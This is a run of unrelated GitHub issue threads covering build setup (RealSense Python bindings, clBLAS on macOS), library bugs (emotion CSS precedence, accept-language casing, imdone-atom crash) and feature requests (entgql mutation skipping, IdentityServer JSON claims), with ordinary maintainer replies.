change the name of "pybackend2.cp36-win_amd64.pyd" to "pybackend2.pyd" and "pyrealsense2.cp36-win_amd64.pyd" to "pyrealsense2.pyd"
copy "pybackend2.pyd", "pyrealsense2.pyd" and "realsense2.dll" to "DLLs" folder. For example "C:/Users/abcd/AppData/Local/Continuum/anaconda3/envs//DLLs"
copy "realsense2.lib" to "libs" folder. For example "C:/Users/abcd/AppData/Local/Continuum/anaconda3/envs//libs"

Done.

Attach issue from official account, attached the image of activating the virtual environment and run example here

@RealSense-Customer-Engineering @carypai
As attached picture shown that there is no PYTHON_EXECUTABLE variable after I checked the configure button "BUILD_PYTHON_BINDINGS". Could you guide me on this matter.

After you check the BUILD_PYTHON_BINDINGS, please click "configure" button again, then you will see the variable.

@carypai & @RealSense-Customer-Engineering thank you so much for your guidance.
I managed to run RealSense SDK 2.0 under my anaconda virtual environment for both python 2 & 3.
Below, I'm summarizing the steps required based on my understanding, hopefully it will make it more clear for other people references.

Run CMake Gui "cmake-gui.exe".
On "Where is the source code:", click "Browse Source" button and configure the path on librealsense, for example "C:/Users/PCName/Desktop/librealsense".
Create "build" folder on librealsense path folder. On "Where to build the binaries:", click button "Browse Build" button and configure the path as for example "C:/Users/PCName/Desktop/librealsense/build".
Make sure that you check on "Grouped" and "Advanced" checkbox for easy to identify each node and variables.
Then click "Configure" button.
On "Specify the generator for this project", select you visual studio version, as for example "Visual Studio 14 2015 Win64"
Then click "Finish" button.
After configuring done, on "BUILD" node, check "BUILD_PYTHON_BINDINGS" checkbox button.
Then click "Configure" button again.
On "Ungrouped Entries", identify variable "PYTHON_EXECUTABLE", change the path to anaconda python.exe in your virtual environment path as for example
"C:/Users/PCName/Anaconda3/envs//python.exe" or "C:/Users/abcd/AppData/Local/Continuum/anaconda3/envs//python.exe"
Then click "Generate" button, after all configuring and generating successfully done, click "Open Project".
After Visual Studio IDE open, then start compiling/debug the solution.

As refer to @RealSense-Customer-Engineering
After compiling python folder finish(check the attached image), you should see output files under "librealsense/build/Debug folder as attachment inside the build, few things to do as below :

change the name of "pybackend2.cp36-win_amd64.pyd" to "pybackend2.pyd" and "pyrealsense2.cp36-win_amd64.pyd" to "pyrealsense2.pyd"

There are 2 methods on copying the

copy "pybackend2.pyd", "pyrealsense2.pyd" and "realsense2.dll" to "DLLs" folder. For example "C:/Users/abcd/AppData/Local/Continuum/anaconda3/envs//DLLs"
copy "realsense2.lib" to "libs" folder. For example "C:/Users/abcd/AppData/Local/Continuum/anaconda3/envs//libs"

OR

You can also copy the files ("pyrealsense.2pyd" and "realsense2.dll" files) to the folder "site-packages" as for example : "C:\Users\PCName\Anaconda3\envs\EnvironmentName\Lib\site-packages".

To test that your SDK files are working well:-

On Anaconda prompt, activate your environment by type, "activate EnvironmentName", below scenario will be shown on the prompt. "(EnvironmentName) C:\Users\PCName>"
Then navigate the python example project as below example, and then hit "Enter"
"(EnvironmentName) C:\Users\PCName>cd C:\Users\PCName\Desktop\librealsense\wrappers\python\examples"
Then, type python and choose one of the projects as below,
"(EnvironmentName) C:\Users\PCName\Desktop\librealsense\wrappers\python\examples>python python-tutorial-1-depth.py"

Below picture shown the list of python sample projects for RealSense

Hereby I close the issues as I already find the solutions.
Thank you.

Hello,
I have an error while genarating C-make file
I use python 3.5.6 ,conda envirionment and windows 10 pc
ERROR msg
Selecting Windows SDK version 10.0.10586.0 to target Windows 10.0.17134.
Info: REALSENSE_VERSION_STRING=2.19.0
Setting Windows configurations
Build for Windows > Win7
Use external libusb
CMake Error at C:/Program Files/CMake/share/cmake-3.14/Modules/FindPackageHandleStandardArgs.cmake:137 (message):
Could NOT find PythonInterp (missing: PYTHON_EXECUTABLE)
Call Stack (most recent call first):
C:/Program Files/CMake/share/cmake-3.14/Modules/FindPackageHandleStandardArgs.cmake:378 (_FPHSA_FAILURE_MESSAGE)
C:/Program Files/CMake/share/cmake-3.14/Modules/FindPythonInterp.cmake:160 (FIND_PACKAGE_HANDLE_STANDARD_ARGS)
wrappers/python/third_party/pybind11/tools/FindPythonLibsNew.cmake:60 (find_package)
wrappers/python/third_party/pybind11/tools/pybind11Tools.cmake:16 (find_package)
wrappers/python/third_party/pybind11/CMakeLists.txt:33 (include)
Configuring incomplete, errors occurred!
See also "C:/Users/rsr5le/Desktop/realsense/librealsense-2.19.0/bud/CMakeFiles/CMakeOutput.log".
See also "C:/Users/rsr5le/Desktop/realsense/librealsense-2.19.0/bud/CMakeFiles/CMakeError.log".

Everybody! Are you understanding above all?
Is it real difficult to use realsense camera in winodw as python?


⚠ GitHub has degraded performance

In e153bec, GitHub (https://www.githubstatus.com/api/v2/status.json) experienced degraded performance:

HTTP code: 200
Response time: 224 ms

Resolved: GitHub performance has improved in 24d68a2.


Multiple speed optimizations for deterministic MN list handling

See individual commits. Profiling has shown that a lot of time is spent while loading quorums, which internally load historical MN lists. The main speedup in this PR comes from using CBLSLazyPublicKey and by caching intermediate lists in GetListForBlock.
I also noticed that dash-qt spends a lot of time updating the masternode list UI. Most time was spent in GetProjectedMNPayees, which is also optimized in this PR. And to further optimize MN list updating, I changed it to update at a max rate of once per 3 seconds.
I'd suggest to backport this to 14.0.2, as the delay in startup time is quite annoying atm.

Nice! 👍 will test a bit.
evo_simplifiedmns_tests.cpp  needs a fix though:
diff --git a/src/test/evo_simplifiedmns_tests.cpp b/src/test/evo_simplifiedmns_tests.cpp
index ca1eabd5e..a1e2b0875 100644
--- a/src/test/evo_simplifiedmns_tests.cpp
+++ b/src/test/evo_simplifiedmns_tests.cpp
@@ -29,7 +29,7 @@ BOOST_AUTO_TEST_CASE(simplifiedmns_merkleroots)
         CBLSSecretKey sk;
         sk.SetBuf(skBuf, sizeof(skBuf));

-        smle.pubKeyOperator = sk.GetPublicKey();
+        smle.pubKeyOperator.Set(sk.GetPublicKey());
         smle.keyIDVoting.SetHex(strprintf("%040x", i));
         smle.isValid = true;

So I tested this a bit and I think 989c9b9 tries to fix the issue which doesn't exist because this case is already handled by ClientModel. But I do like the idea of moving the logic for pure UI mn list updates from ClientModel to MasternodeList itself and having a bit more granular control there. The only part missing in this case would be https://github.com/UdjinM6/dash/commit/bb29e61a22a18df6f46c97a09d3664ea35f6b14c. I tried to reindex with this patch applied (to force lots of mn list updates) and everything seems to be working as expected.


Generic pipeline for importing Vulnerabilities.

Extend the current OSS-Fuzz pipeline to support generic data sources.

Input: Partially filled Vulnerability data from a repository.
Output: Vulnerability with appended affected commit range and versions info pushed back to the same repository and location.

More requirements:

Parts of OSV will also be made to run as part of CI workflows (#51)
Users can also submit PRs to fix up details in Vulnerability entries.
OSS-Fuzz data will be dumped as well in the same format.

Current sketch (subject to change):

This may be a duplicate?
"Existing artifact vuln scanners, databases, and specs?" #55


Add Credentials capability to SHiPSProvider.

It should be much easier to build providers for data sources that require authentication if add Credentials capability to SHiPSProvider.
Also Drive (PSDriveInfo) property should be added to the ProviderContext class to provide authors access to credentials specified by user in -Credential parameter of New-PSDrive cmdlet.

Is this issue now resolved? It's not clear to me based on the associated pull request.


Add a plugin manifest file to specify templates order and custom title

Closing this as templates are being improved as part of database structure feature.


The left side of the Algolia InstantSearch results panel is cut off when viewing in portrait mode on mobile phone

The left side of the Algolia InstantSearch results panel is cut off when viewing in portrait mode on mobile phone (see attached).
Mobile browser is Chrome.  Is there a way to modify the CSS in the theme to adjust for this?  Thanks!

This is actually a Wagtail docs problem, not a generic Sphinx theme problem as this search box is specific to the Wagtail usage of the docs.
I will move to that project.


Peer to peer CR

Lucas, congratulations for your work. Your code is super neat and pretty.
I found some things to improve:

The menu on the right (three dots) doesn't work. Only with a click, double click or dragging. It would be nice to make it work
When editing, pressing Enter is including that Enter within the text. I don't think that should happen.
For the rest, your code is very good!

Excepting the item that points out Carlos, in my opinion, the Lucas code is working perfectly, remember that 'dragging' is optional.


Class name concatenation causes problems with showing the correct style

emotion version: 5.2.0
react version: 15.6.1

Relevant code:
import {css} from "emotion";
import React, {Component} from "react";
import ReactDOM from "react-dom";

const fakeBlue = css([
  {
    color: "blue"
  }
]);

const red = css([
  {
    color: "red"
  }
]);

const blue = css([
  red,
  {
    color: "blue"
  }
]);

ReactDOM.render(

Hello
,
  document.getElementById("main")
);

What you did:
I added some styles which I thought would make some text blue
What happened:
I saw that the text was red, instead! 😮
Reproduction:
Webpackbin example of this happening: https://www.webpackbin.com/bins/-KokR2IRsfMsEaoiVBTX
Problem description:
Hey there, co-creator of Aphrodite here. Just looking at the class names that you generate from calls to css() I spotted a bug in emotion. I'm pretty sure what's happening here is that you're inserting styles from the first fakeBlue css() call into a stylesheet first, then from the red css() call, and then when you get to the blue css() call you assume that both of those objects have already been added to the stylesheet, and return a class name that looks like red-something blue-something. Unfortunately, because CSS precedence rules say that for styles of equal specificity (which all of yours are, they only have one class name) the styles that come later in the stylesheet win! So since you inserted the red styles later, they're going to beat out the blue styles no matter what you do.
Suggested solution:
Something other than concatenating class names together with spaces! There are a bunch of solutions that other libraries are using, like merging the styles and using a single class name, using a single class name per style value, or duplicating the class name selector to ensure that you get the correct specificity. All of those are fine. :)
I wrote up a blurb about what we do in Aphrodite here (and why concatenating the class names is bad): https://github.com/khan/aphrodite#overriding-styles
Hope this is helpful!

Thank you for taking the time to write this up. 👍

Funny thing... It never occurred to me that you could use emotion in a repl site now. 🤦♂

@tkh44 which one?

https://www.webpackbin.com/bins/-KokR2IRsfMsEaoiVBTX

Look at his link. @xymostech is using object styles so it works fine.

@tkh44 ah. So it's object only. I thought you can custom babel plugin in repl these day

I looked for the option to add babel options but it looks like they don't have that capability yet. You should probably test this with the babel transform to make sure it exhibits the same behavior, but I'd guess you do the same thing with class names regardless.

@xymostech I believe @CompuIves has it working with https://codesandbox.io/. Don't know if it's released yet though.
https://github.com/CompuIves/codesandbox-client/pull/16
We don't do any intelligent class name merging with objects so it wouldn't matter. (try on https://emotion.sh) I'm still deciding which approach to take.

const imageStyles = css({
  width: 96,
  height: 96
})

const fakeBlue = css([
  {
    color: "blue"
  }
]);

const red = css([
  {
    color: "red"
  }
]);

const blue = css([
  red,
  {
    color: "blue"
  }
]);

const prettyStyles = css([
  {
    borderRadius: '50%',
    transition: 'transform 400ms ease-in-out',
    ':hover': {
      transform: 'scale(1.2)'
    }
  },
  { border: '3px solid currentColor' }
])

const Avatar = styled('img')`
  composes: ${prettyStyles} ${imageStyles} ${blue}
`

render(
  <Avatar src={avatarUrl} />,
  mountNode
)

it looks like @kentcdodds figured this out for us.
https://github.com/paypal/glamorous/blob/master/src/get-glamor-classname.js

Making progress...


No output

I am on linux and I installed Ollama (and I see running).
When I try the :Gen command anything generate a tiny window empty:

I was able also to generate a big window inside the code but I see if the cursor is on the Neotree buffer open inside that.
There isn't any parameter to define what filetype/buffer exclude.

So the readme doesn't mention to install the ollama model but there isn't any report for the error:

Now works but the window is very tiny:

Hi @Mte90 ,
Thank you for checking.
I will check if we can make errors more apparent. Regarding the issue with the window: The window size depends on your current window, in your screenshot, could you kindly check if the window is bigger if you invoke it from the right split?
Thanks and best regards,
David

So I tried running nvim direct to a file and not opening the the neotree sidebar.
I am getting the same issue.
Looking at the code https://github.com/David-Kunz/gen.nvim/blob/85a739cea06148a56d52f26b01d63de6671ce4ce/lua/gen/init.lua#L137 it is a different buffer compraed to the one with the code.
On my tests it is 7 but the code is on 1 and doesn't have a filetype. Maybe ggets confused with the output window?


Language tags should be treated case insensitively

Hi @tinganho ,
This is what I'm getting:
var acceptLanguage = require('accept-language');
acceptLanguage.languages(['fr-FR', 'de-DE']);
console.log(acceptLanguage.get('de-DE'));
==> de-DE

but:
var acceptLanguage = require('accept-language');
acceptLanguage.languages(['fr-FR', 'de-DE']);
console.log(acceptLanguage.get('de-de'));
===> fr-FR

According to BCP47, language tags should be treated case insensitively.

Is new does case insensitive comparison.

Excellent - thank you @tinganho


Fix dependencies

There's a requirements.txt file inside the package which is not necessary. In reality, I believe you only need numpy, scipy, sklearn and tqdm to run this, based off of running the tests. You could fix this by removing requirements.txt and changing setup.py like to:
import setuptools

setuptools.setup(
    name="netrep",
    version="0.0.2",
    url="https://github.com/ahwillia/netrep",

    author="Alex Williams",
<EMAIL_ADDRESS>
    description="Simple methods for comparing network representations.",

    packages=setuptools.find_packages(),
    install_requires=[
        'numpy>=1.16.5',
        'scipy>=1.3.1',
        'scikit-learn>=0.21.3',
        'tqdm>=4.32.2'
    ],
    extras_require={
        'dev': [
            'pytest>=3.7'
        ]
    },
)

Thanks, this is done. If there is demand we can flesh out a more proper and stable package with CI.


Remove dependency on wrapt

https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/search/azure-search-documents/tests/search_service_preparer.py#L139
This is the only place in the repo where wrapt is used, let's remove it

Fixed.


possibility to omit fields from graphql mutations

I have a struct that uses the time mixin, so it includes a "created_at" and "updated_at", I use the graphql generation tools (which are great ❤), but I don't want anyone to be able to update/set these field as they are used for database management and ordering only.
would be nice to have an annotation to omit some fields
I do not want to make them sensitive as that would make them hidden also from queries and orderBy, where they are actually quite useful.

[X ] I have searched the issues of this repository and believe that this is not a duplicate.

Summary 💡
maybe something like adding options to the Mutation functions in entgql?
func (Profile) Annotations() []schema.Annotation {
	return []schema.Annotation{
		entgql.RelayConnection(),
		entgql.Mutations(
			entgql.MutationCreate(&entgql.MutationCreateOptions{
				IgnoreFields: []string{"created_at", "updated_at"},
			}),
			entgql.MutationUpdate(&entgql.MutationUpdateOptions{
				IgnoreFields: []string{"created_at", "updated_at"},
			}),
		),
	}
}

Or something like this at the field level:
func (CommonMixin) Fields() []ent.Field {
	return []ent.Field{
		field.Time("create_time").
			Default(time.Now).
			Immutable().
			Annotations(
				entgql.IgnoreFieldInUpdateMutation(),
				entgql.IgnoreFieldInCreateMutation(),
				entgql.OrderField("CREATE_TIME"),
			),
		field.Time("update_time").
			Default(time.Now).
			UpdateDefault(time.Now).
			Annotations(
				entgql.IgnoreFieldInUpdateMutation(),
				entgql.IgnoreFieldInCreateMutation(),
				entgql.OrderField("UPDATE_TIME"),
			),
		field.UUID("id", uuid.Nil).
		Default(UUIDV7DefaultFn),
	}
}

Motivation 🔦
Trying to work with the graphql generation tool, but this is something that is quite important to me, yet I have to manually handle it in the resolver, but still these fields exist in the schema, which makes the schema confusing as I do not really want users to mess with these fields

Hey! Thanks for the kind words.
Use the entgql.Skip annotation. For example:
func (T) Mixin() []ent.Mixin {
	return []ent.Mixin{
		mixin.AnnotateFields(
			mixin.Time{},
			entgql.Skip(entgql.SkipMutationCreateInput|entgql.SkipMutationUpdateInput),
		),
	}
}

It won't help to complain; we don't do refunds :D


not compatibale with "cordova-plugin-crosswalk-webview" 1.5.0 when using PGB

hi all
for now
this plugin not compatibale with "cordova-plugin-crosswalk-webview" 1.5.0 when using PGB
when using Cordova Cli，the problem appear too
but can use a build-extras.gradle to solve it
build-extras.gradle

but PGB seem have no way can do that...for now...
here is the log
http://justpaste.it/qrol

See this for discussion on the build error you are having now Phonegap community


Namespaced claims

Hello!
I want to use hasura (https://hasura.io/) and it's jwt based authorization requires some claims in a custom namespace (https://docs.hasura.io/1.0/graphql/manual/auth/jwt.html) like this:
{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true,
  "iat":<PHONE_NUMBER>,
  "https://hasura.io/jwt/claims": {
    "x-hasura-allowed-roles": ["editor","user", "mod"],
    "x-hasura-default-role": "user",
    "x-hasura-user-id": "1234567890",
    "x-hasura-org-id": "123",
    "x-hasura-custom": "custom-value"
  }
}

As i understand it, i can't create custom claim with complex value type
(https://docs.microsoft.com/en-us/dotnet/api/system.security.claims.claim?view=netcore-2.1):

The Value property contains the value of the claim. In order to reduce dependencies and simplify administration, in WIF the value of a claim is represented only as a string. For more complex value types, it is recommended that you use standard XML schema types to indicate how the value is meant to be serialized into and deserialized from a string.

But maybe...
Can i create a custom claims namespace with IdentityServer?
If it isn't possible please tell me why.
Issue at hasura's github https://github.com/hasura/graphql-engine/issues/978

json is just a string

Yes, but IdS return it as a string:
{
  "nbf":<PHONE_NUMBER>,
  "exp":<PHONE_NUMBER>,
  "iss": "http://localhost:5000",
  "aud": [
    "http://localhost:5000/resources",
    "rulebook-api"
  ],
  "client_id": "ios.client",
  "sub": "ebc42b59-d9a7-49ae-adab-2c0d19c3cfb0",
  "auth_time":<PHONE_NUMBER>,
  "idp": "google",
  "rulebook_claims": "{\"x-hasura-allowed-roles\":[\"user\"],\"x-hasura-default-role\":\"user\",\"x-hasura-user-id\":\"ebc42b59-d9a7-49ae-adab-2c0d19c3cfb0\"}",
  "scope": [
    "openid",
    "rulebook-api",
    "offline_access"
  ],
  "amr": [
    "external"
  ]
}

And it's a problem, i need it deserialized :)

Set the value type to JSON.

Dominick Baier
On 3. November 2018 at 19:16:29, Dmitry Kochnev<EMAIL_ADDRESS>wrote:

Yes, but IdS return it as a string:
{
"nbf":<PHONE_NUMBER>,
"exp":<PHONE_NUMBER>,
"iss": "http://localhost:5000",
"aud": [
"http://localhost:5000/resources",
"rulebook-api"
],
"client_id": "ios.client",
"sub": "ebc42b59-d9a7-49ae-adab-2c0d19c3cfb0",
"auth_time":<PHONE_NUMBER>,
"idp": "google",
"rulebook_claims": "{"x-hasura-allowed-roles":["user"],"x-hasura-default-role":"user","x-hasura-user-id":"ebc42b59-d9a7-49ae-adab-2c0d19c3cfb0"}",
"scope": [
"openid",
"rulebook-api",
"offline_access"
],
"amr": [
"external"
]
}
And it's a problem, i need it deserialized :)
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/IdentityServer/IdentityServer4/issues/2774#issuecomment-435609517,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABYv-_Vjx0EhSNlqHnyD8tWnT0l6fwdmks5urd19gaJpZM4YM7RZ
.

We tested it and this is what we get:

This:
var rulebookClaim = new Claim("rulebook_claims",

is what gives you this in the result:
{
     ...
    "rulebook_claims": {

I talk about...
When I’m save my custom claim to DB, using user manager then I get serialized json in token.
But when I add claim to issued claim with custom profile service, then I get deserialed json in token.
And I don’t understand this is by design or not.

There might be a bug involved here that we fixed yesterday. Try 2.3.0-preview2 and see if this changes the behavior.

Any update?

Colleagues, i'm sorry, everything works well, I'm not clearly described the problem.
I just little confused. When i add claims in token with a custom profile service:
public Task GetProfileDataAsync(ProfileDataRequestContext context)
{
      ...
       var rulebookClaim = new Claim(
           "rulebook_claims",
           JsonConvert.SerializeObject(rulebookClaimData),
           IdentityServerConstants.ClaimValueTypes.Json
       );
       context.IssuedClaims.Add(rulebookClaim);
       ...
}

But when i create a new user, like this:
public async Task RegisterUser()
{
    // Create user
    var user = new ApplicationUser
    {
        UserName = Guid.NewGuid().ToString(),
    };
    var createResult = await _userManager.CreateAsync(user);

    // Add claims
    var claims = new List<Claim>
    {
        new Claim("test", "{\"foo\":\"bar\"}", IdentityServerConstants.ClaimValueTypes.Json),
    };
    var addClaimsResult = await _userManager.AddClaimsAsync(user, claims);
}

I expected there should be a field valueType in database like "json" :)


Invalid Region Targetted

We are continuously addressing and improving the SDK, if possible, make sure the problem persists in the latest SDK version.

Describe the bug
We have a read-replica in East US 2, not East US. We see that although the preferred region is East US 2, ~.03% of the time, the SDK attempts to request from East US, although no read replica exists there.
To Reproduce
I'm an internal employee, what is the best way to link an ADO repo?
Expected behavior
SDK only targets regions that have read replicas, so East US would never be targeted.
Actual behavior
~0.03% of the time, the SDK makes a request to East US, although there is no read replica there.
Environment summary
SDK Version: 3.31.2

@chidi-git Can you please share code examples and evidence that shows that the SDK is going to East US?

How are you creating the client and configuring it? Which APIs are you using for regional preference configuration?
What sources of information are you using to verify the traffic goes to East US?

SDKs will not route requests to regions not present in the Account information they obtain from the service except on the scenarios described in ApplicationRegion and ApplicationPreferredRegions which are both during initialization (should happen once) and mean there are connectivity issues affecting connection towards the Global DNS. On top of that, if this behavior is seen frequently, it would also mean, the application is not following the Singleton pattern (because this happens only on initialization).


MAINT: io: move _test_fortran under tests

[skip cirrus]
An experiment towards gh-18566. I don't see why this private testing module would have to sit in the top level of io rather than io/tests, but maybe I am unaware of a reason.

There is a build hiccup here, but I can't tell whether that is because this idea is incorrect, or whether there's just something small missing.

that did the trick, thanks Tyler!

Today another one popped up inside the tests of scipy.integrate. https://github.com/scipy/scipy/blob/main/scipy/integrate/tests/banded5x5.f
It's like mold growing inside the repo.

No further comments. Since this is more consistent with test organization in general in our project, I merged.

Today another one popped up inside the tests of scipy.integrate. https://github.com/scipy/scipy/blob/main/scipy/integrate/tests/banded5x5.f
It's like mold growing inside the repo.

Heh, I planted that mold years ago.  The comments in banded5x5.f explain why.

Heh, I planted that mold years ago. The comments in banded5x5.f explain why.

Yes, I saw that :) No worries, I was surprised that there is still .f files that I missed after a year looking into it.

Belated comment: this PR seems fine to me (test files should ideally live under tests/ indeed), but it doesn't really help with gh-18566. We'd want to get rid of this Fortran code completely to do that.

it doesn't really help with https://github.com/scipy/scipy/issues/18566. We'd want to get rid of this Fortran code completely to do that.

Indeed, although I was actually thinking along the lines of gh-20712 - if somebody chooses not to install tests, this module shouldn't be installed.

By the way, would it be more idiomatic to have these lines in integrate/tests/meson.build?
https://github.com/scipy/scipy/blob/61f2a11cfdc07a7d167bd715aae6fe76d04c354e/scipy/integrate/meson.build#L164-L182

I'd say your time is more valuable than this. If we translate that banded5x5 file then we can do the plumbing. It is also calling LSODA so probably would waste your time to do the connection.

It is also calling LSODA so probably would waste your time to do the connection.

Right, makes sense, better to leave it in the same directory then 👍

This PR causes windows builds in conda-forge (using MSVC+flang) to fail: #21561
It makes no sense to me why, but the bisection is clear, and a revert of https://github.com/scipy/scipy/commit/cf664690e47bb0fed5ee1552353de42797a30b12 on top of main passes.


fixed typo "DyanmoDB"

to:
cc: @airbnb/streamalert-maintainers
related to:
resolves:
Background
Reason for the change
Changes

Summary of changes
...

Testing
Steps for how this change was tested and verified

Coverage remained the same at 97.07% when pulling fa0d7d40301590d3ee63e484630441fb913a973a on leostarcevic:patch-1 into 858be8563124c323ce697d9774ffe83b6cffbb30 on airbnb:master.


Fluentd json logging

Describe the bug
I'm not sure if this is a bug or something else, but it seems like fluentd does not only log in json format.
We have this in the systems config
❯ k -n fluentd get cm fluentd-fluentd-elasticsearch -oyaml|grep -A 6  system.conf
  system.conf: |-
    <system>
      root_dir /tmp/fluentd-buffers/
      <log>
        format json
      </log>
    </system>

But you can see non json logs when looking
{"time":"2022-01-31 14:36:03 +0000","level":"warn","message":"dump an error event: error_class=Fluent::Plugin::ElasticsearchErrorHandler::ElasticsearchError error=\"400 - Rejected by Elasticsearch [error type]: mapper_parsing_exception [reason]: 'failed to parse field [keyValues.newToDate] of type [date] in document with id 'ZxyQsH4BKvTs0LJccfOE'. ...}
...
2022-01-31 14:36:03.688200120 +0000 fluent.warn: {"error":"#<Fluent::Plugin::ElasticsearchErrorHandler::ElasticsearchError: 400 - Rejected by Elasticsearch [error type]: mapper_parsing_exception [reason]: 'failed to parse field [keyValues.newToDate] of type [date] in document with id 'ZxyQsH4BKvTs0LJccfOE'. ...}

To Reproduce
Install in any cluster.
Wait for some  error or warning.
Observe that there seems to be non json logs.
Expected behavior
A clear and concise description of what you expected to happen.
Screenshots
If applicable, add screenshots to help explain your problem.
Version (add all relevant versions):

Compliant kubernetes apps version 0.18.2

Additional context
Again, not sure if this is working as expected or if there is something strange happening.

Closing this, look at the discussion in this issue: https://github.com/elastisys/compliantkubernetes-apps/pull/999.


Uncaught Error: EBUSY: resource busy or locked, read

Hi,
I have some problems with your plugin, it keep crashing atom when I try to access to the todo page ( using alt+t )
Here is the report.
Atom Version: 1.3.3
System: Windows 7 64
Thrown From: imdone-atom package, v1.3.19
Stack Trace
Uncaught Error: EBUSY: resource busy or locked, read
At fs.js:603

Error: EBUSY: resource busy or locked, read
    at Error (native)
    at Object.fs.readSync (fs.js:603:19)
    at Object.fs.readFileSync (fs.js:438:24)
    at Object.fs.readFileSync (ATOM_SHELL_ASAR.js:385:29)
    at File.module.exports.File.readSync (C:\Users\a.user\AppData\Local\atom\app-1.3.3\resources\app.asar\node_modules\pathwatcher\lib\file.js:266:36)
    at File.module.exports.File.getDigestSync (C:\Users\a.user\AppData\Local\atom\app-1.3.3\resources\app.asar\node_modules\pathwatcher\lib\file.js:167:14)
    at Watcher.isReallyChanged (file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:72:19)
    at Watcher.fileAdded (file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:149:20)
    at Watcher.watchFile (file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:98:8)
    at Watcher.watchDir (file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:93:6)
    at Watcher.watchDir (file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:92:6)
    at Watcher.watchDir (file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:92:6)
    at Watcher.watchDir (file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:92:6)
    at Watcher.watchDir (file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:92:6)
    at Watcher.watchDir (file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:92:6)
    at new Watcher (file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:44:6)
    at Repository.repo.initWatcher (file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:193:24)
    at file:///C:/Users/a.user/.atom/packages/imdone-atom/lib/atom-watched-fs-store.coffee:177:12
    at C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\lib\mixins\repo-fs-store.js:59:11
    at C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\node_modules\async\lib\async.js:726:13
    at C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\node_modules\async\lib\async.js:52:16
    at replenish (C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\node_modules\async\lib\async.js:306:28)
    at C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\node_modules\async\lib\async.js:326:29
    at C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\node_modules\async\lib\async.js:44:16
    at C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\node_modules\async\lib\async.js:723:17
    at C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\node_modules\async\lib\async.js:167:37
    at C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\lib\repository.js:657:11
    at C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\lib\repository.js:624:9
    at C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\lib\repository.js:463:5
    at C:\Users\a.user\.atom\packages\imdone-atom\node_modules\imdone-core\lib\mixins\repo-fs-store.js:104:11

Commands
     -0:55 imdone-atom:tasks (atom-text-editor.editor.is-focused)

Config
{
  "core": {},
  "imdone-atom": {
    "openIn": {},
    "todaysJournal": {}
  }
}

Installed Packages
# User
docs-snippets, v0.8.0
file-icons, v1.6.13
imdone-atom, v1.3.19
keyboard-localization, v1.4.13
linter, v1.11.3
linter-eslint, v5.2.7
minimap, v4.19.0

# Dev
No dev packages

I put a try/catch in the digest check, so this should work now.  I'm not sure what the cause is though.  It seems like there's a file locked for read.  If you run into any more issues related to this I can walk you through a debug session to see what's going on.

I have upgraded the plugin to the latest version but it keep crashing Atom when I try to access to the todo page.
Actually it freeze on loading, at the screen saying "Loading [project] Tasks. It's gonna be legen... wait for it. Found 102 files in [project] Tasks".
Then Atom is saying "Editor is not responding".
I know that there is a file deletion problem on the actual version of Atom on Windows 7 ( https://github.com/atom/tree-view/issues/666 )  so maybe it's related somehow, I didn't look at your plugin source code for now but I could check and try to debug the issue.

@Off76 Are you still receiving this error?

@piascikj No it's seems working now, thanks.
So you find why there was an error ?

I went back to the more tried and true file watching library and it cleared it up.  I was never able to reproduce the error.


How can I build libclBLAS.so for OSX?

Hi again,
I'm new to the world of cmake and building source code so I'm looking for some help with basic information. If you'd prefer to refer me to materials that I should read I'd be happy to do so :)
Ultimately my goal is to write a Ruby FFI into clBLAS and to get started I just need a libclBLAS.so file (like the ones that are available for Linux and Windows on the releases page).
It seems at the moment that I'll need to make it myself and I'm not sure I'm even starting at the right place. I pointed cmake at the src/directory and, as described in the wiki, it generated a bunch of cmake files. But that's as far as I'm getting :blush:
Reading through the wiki page on this, it seems that I need to install a few dependencies before I can move on. Mostly they are for testing and unfortunately some of them (for example the AMD APP SDK) only have Windows/Linux releases.
How can I go about getting ahold of a clBLAS binary for Mac for use with Ruby's FFI library?

Just run make  in the directory you ran cmake in.

Oh wow, thanks lots @abergeron! :heart:
Should I put up a PR with the build so that you guys can put these right alongside the Windows and Linux ones or are there deeper reasons that OSX users need to build there own?

HI @KCErb
We are not in a position to say that we can support OSX releases at this time.  However, I am pleased that users can download the code on their own and build it.


upload_to_testflight with specified account

Question Checklist

[x] Updated fastlane to the latest version
[x] I read the Contribution Guidelines
[x] I read docs.fastlane.tools
[x] I searched for existing GitHub issues

Upload to testflight
First of all, am I correct in thinking that uploading to testflight is only possible nowadays with a 2-factor enabled account?
I'm trying to upload to testflight with the upload_to_testflight tool, but I'm struggling to get i  working. Currently I'm using an Store Connect account without 2-factor for most of the lanes, with the credentials specified in FASTLANE_USER and FASTLANE_PASSWORD.
However, I have a different user for the upload_to_testflight lane, with credentials set in FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD in order to use the  application specific password.
